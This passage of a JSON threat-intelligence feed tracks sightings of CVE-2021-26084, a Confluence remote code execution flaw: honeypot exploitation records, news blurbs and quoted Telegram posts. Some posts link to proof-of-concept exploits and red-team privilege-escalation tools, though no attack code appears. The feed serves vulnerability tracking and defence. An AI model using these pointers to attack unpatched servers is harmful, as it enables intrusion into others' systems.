\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Linux, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u044b \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 Atlassian Confluence Server \u0438 Data Center.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (\u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0439 \u043a\u0430\u043a CVE-2021-26084) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c, \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0438\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438, \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043d\u043e\u0432\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0438, \u0432 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0438\u0442\u043e\u0433\u0435, \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0437\u0430\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440 \u0434\u043b\u044f \u0431\u044d\u043a\u0434\u043e\u0440\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432, \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0432 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0435.\n\nhttps://shly.link/nScUo", "url": "https://t.me/Hackme_news/579"}, {"timestamp": "2026-09-09T10:00:09.972Z", "date_only": false, "value": "2026-09-09T10:00:09.972997Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-08)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "be37a8ed-c653-45bc-b0ba-b32b00252656"}, {"timestamp": "2026-09-10T19:00:05.344Z", "date_only": false, "value": "2026-09-10T19:00:05.344026Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/cissp/4419", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "4a8769ac-6024-4b2b-be48-d6e5ce240423", "content": "Confluence server exploit CVE-2021-26084\nhttps://youtu.be/yMLoIJVz0YI", "url": "https://t.me/cissp/4419"}, {"timestamp": "2026-09-10T19:00:05.787Z", "date_only": false, "value": "2026-09-10T19:00:05.787937Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/cissp/4476", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "e6f12694-60b8-4c2f-b64f-681f814c0425", "content": "A faithful transposition of the key features/functionality\nof PPLDump project as a BOF\nhttps://github.com/EspressoCake/PPLDump_BOF\n\nThreat Research\nHacking LG WebOS Smart TVs Using A Phone\nhttps://medium.com/geekculture/hacking-lg-webos-smart-tvs-using-a-phone-3fedba5d6f50\n\nRed Team Tactics\n1. Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY \\ SYSTEM \nhttps://github.com/klezVirus/CandyPotato\n2. Modular framework for discovering open directories, identifying unique content through signatures and organizing the data with optional output MISP modules\nhttps://github.com/hpthreatresearch/subcrawl#requirements\n\nBlue Team Techniques\nWindows Event Logging & Collection Guidance\nhttps://github.com/JSCU-NL/logging-essentials\n\nAnalytics\nCVE-2021-26084:\nDetails on the Recently Exploited Atlassian Confluence OGNL Injection Bug\nhttps://www.zerodayinitiative.com/blog/2021/9/21/cve-2021-26084-details-on-the-recently-exploited-atlassian-confluence-ognl-injection-bug\n]-> PoC Exploit:\nhttps://t.me/cybersecuritytechnologies/4202", "url": "https://t.me/cissp/4476"}, {"timestamp": "2026-09-10T19:00:05.833Z", "date_only": false, "value": "2026-09-10T19:00:05.833880Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/cissp/4461", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "6b610254-d580-4329-b704-43c7a0c00e1f", "content": "SCADA Security\nUnauthenticated RCE vulnerability in\nHikvision IP camera/NVR firmware (CVE-2021-36260)\nhttps://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html\n\nCloud Security\nIAM Vulnerable - Assessing the AWS Assessment Tools\ud83d\udc4d\ud83c\udffd\nhttps://labs.bishopfox.com/tech-blog/iam-vulnerable-assessing-the-aws-assessment-tools\n\nMalware analysis\n1. Financially motivated actor breaks certificate parsing to avoid detection\nhttps://blog.google/threat-analysis-group/financially-motivated-actor-breaks-certificate-parsing-avoid-detection\n2. Cryptominer z0Miner Uses Newly Discovered Vulnerability CVE-2021-26084 to Its Advantage\nhttps://www.trendmicro.com/en_us/research/21/i/cryptominer-z0miner-uses-newly-discovered-vulnerability-cve-2021.html", "url": "https://t.me/cissp/4461"}, {"timestamp": "2026-09-10T20:00:10.528Z", "date_only": false, "value": "2026-09-10T20:00:10.528717Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/cissp/4296", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "324f2064-ea43-4c04-b88b-ba00856cc636", "content": "Microsoft shares technical details of an actively exploited vulnerability affecting SolarWinds Serv-U FTP server software that it attributes to hackers from China.\nRead details: \nhttps://thehackernews.com/2021/09/microsoft-says-chinese-hackers-were.html\n\nU.S. Cyber Command warns of ongoing attacks exploiting a recently disclosed vulnerability (CVE-2021-26084) in #Atlassian Confluence that could be exploited by unauthenticated attackers to take control of vulnerable systems.\nDetails: \nhttps://thehackernews.com/2021/09/us-cyber-command-warns-of-ongoing.html\n\nApple is temporarily delaying its controversial plans to scan users' devices for child sexual abuse material after receiving blowback over fears that the tool could be used as a weapon for mass surveillance and erode users' privacy.\nRead: \nhttps://thehackernews.com/2021/09/apple-delays-plans-to-scan-devices-for.html", "url": "https://t.me/cissp/4296"}, {"timestamp": "2026-09-11T10:15:40.301Z", "date_only": false, "value": "2026-09-11T10:15:40.301412Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-10)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "aac1a316-714c-4715-ba1f-ab68cd65fb02"}, {"timestamp": "2026-09-12T10:15:16.815Z", "date_only": false, "value": "2026-09-12T10:15:16.815030Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-11)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "7e8732fb-3009-48c1-a34d-621e5e50e359"}, {"timestamp": "2026-09-13T10:15:11.971Z", "date_only": false, "value": "2026-09-13T10:15:11.971649Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-12)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "9258ed5c-1773-422b-9786-b6e4a4d24f59"}, {"timestamp": "2026-09-14T10:15:10.095Z", "date_only": false, "value": "2026-09-14T10:15:10.095195Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-13)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "a32ea93d-6a92-4f73-a8d5-bc9d44f518d8"}, {"timestamp": "2026-09-16T10:00:09.274Z", "date_only": false, "value": "2026-09-16T10:00:09.274207Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-15)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "8fdb2e74-1075-45dd-9b79-a2043bae8120"}, {"timestamp": "2026-09-17T10:15:11.943Z", "date_only": false, "value": "2026-09-17T10:15:11.943305Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-16)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "33f93114-66b9-4449-8100-193859c38be0"}, {"timestamp": "2026-09-21T10:00:08.500Z", "date_only": false, "value": "2026-09-21T10:00:08.500833Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-20)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "e939cef7-926a-4fc1-99eb-58fa697f244d"}, {"timestamp": "2026-09-21T10:15:08.343Z", "date_only": false, "value": "2026-09-21T10:15:08.343404Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-20)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "a6a4955a-0bc5-416f-8e2e-01176c74f3cc"}, {"timestamp": "2026-09-22T10:15:07.467Z", "date_only": false, "value": "2026-09-22T10:15:07.467546Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-21)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "60a3f048-9c43-43d0-93df-ccdc0ebff15e"}, {"timestamp": "2026-09-23T10:15:09.236Z", "date_only": false, "value": "2026-09-23T10:15:09.236949Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-22)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "30839533-75b1-450f-91c9-d5ebf2691850"}, {"timestamp": "2026-09-24T00:00:00Z", "date_only": false, "value": "2026-09-24T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-24)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "40086b99-ec3e-4a8b-bb52-554ed3321828"}, {"timestamp": "2026-09-26T00:00:00Z", "date_only": false, "value": "2026-09-26T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-26)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "5e190178-c3da-41e9-a6a5-a8fe52bb9ffc"}, {"timestamp": "2026-09-27T00:00:00Z", "date_only": false, "value": "2026-09-27T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-27)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "50d9dada-2842-48c4-8271-714cb26df303"}, {"timestamp": "2026-09-29T00:00:00Z", "date_only": false, "value": "2026-09-29T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-29)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "923a292a-cd92-4280-b927-75a61fc14d37"}, {"timestamp": "2026-10-03T00:00:00Z", "date_only": false, "value": "2026-10-03T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-10-03)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "d889a8f1-336a-4ed9-9d27-676eb9893878"}, {"timestamp": "2026-10-05T00:00:00Z", "date_only": false, "value": "2026-10-05T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-10-05)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "83b6ad04-1ed2-4c6e-acb2-6dc2bde2ff28"}, {"timestamp": "2026-10-07T03:00:22Z", "date_only": false, "value": "2026-10-07T03:00:22.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/qX6AWanAgbvN3pDf5VYQvRRmF7RyDhmCQzglMrS1f4CIKq4", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "60d99f54-7c7c-4bdc-8737-5640d4553ade"}, {"timestamp": "2026-10-07T03:00:22Z", "date_only": false, "value": "2026-10-07T03:00:22.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/qX6AWanAgbvN3pDf5VYQvRRmF7RyDhmCQzglMrS1f4CIKq4", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "b4775b5a-7495-4673-adea-c419697e38e4"}, {"timestamp": "2026-10-08T00:00:00Z", "date_only": false, "value": "2026-10-08T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-10-08)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "355939ab-7f84-436b-b03e-508eaf6176b9"}, {"timestamp": "2026-10-10T00:00:00Z", "date_only": false, "value": "2026-10-10T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-10-10)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "59a5c319-ab98-4686-82b4-f76108f3a9b7"}, {"timestamp": "2026-10-12T00:00:00Z", "date_only": false, "value": "2026-10-12T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-10-12)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "5535c64a-97bd-4c7c-94fa-5dcf9f92e325"}, {"timestamp": "2026-10-13T00:00:00Z", "date_only": false, "value": "2026-10-13T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-10-13)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "576aa67f-10f7-42d8-abe7-a588ab94eda4"}, {"timestamp": "2026-10-14T00:00:00Z", "date_only": false, "value": "2026-10-14T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-10-14)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "e5c9b37c-955b-4e64-8335-79a386654df7"}, {"timestamp": "2026-10-15T00:00:00Z", "date_only": false, "value": "2026-10-15T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-10-15)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "4cf15cbc-07da-4b07-9ae7-88202e9c13f5"}, {"timestamp": "2026-10-16T00:00:00Z", "date_only": false, "value": "2026-10-16T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-10-16)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "a22a85ff-b44d-4289-8dc8-41bf88327f8c"}, {"timestamp": "2026-10-16T00:00:00Z", "date_only": false, "value": "2026-10-16T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-10-16)", "record": "CVE-2021-26084", "field": "creation_timestamp", "uuid": "6135d19b-460d-49f8-aa05-584ffdec54c0"}]}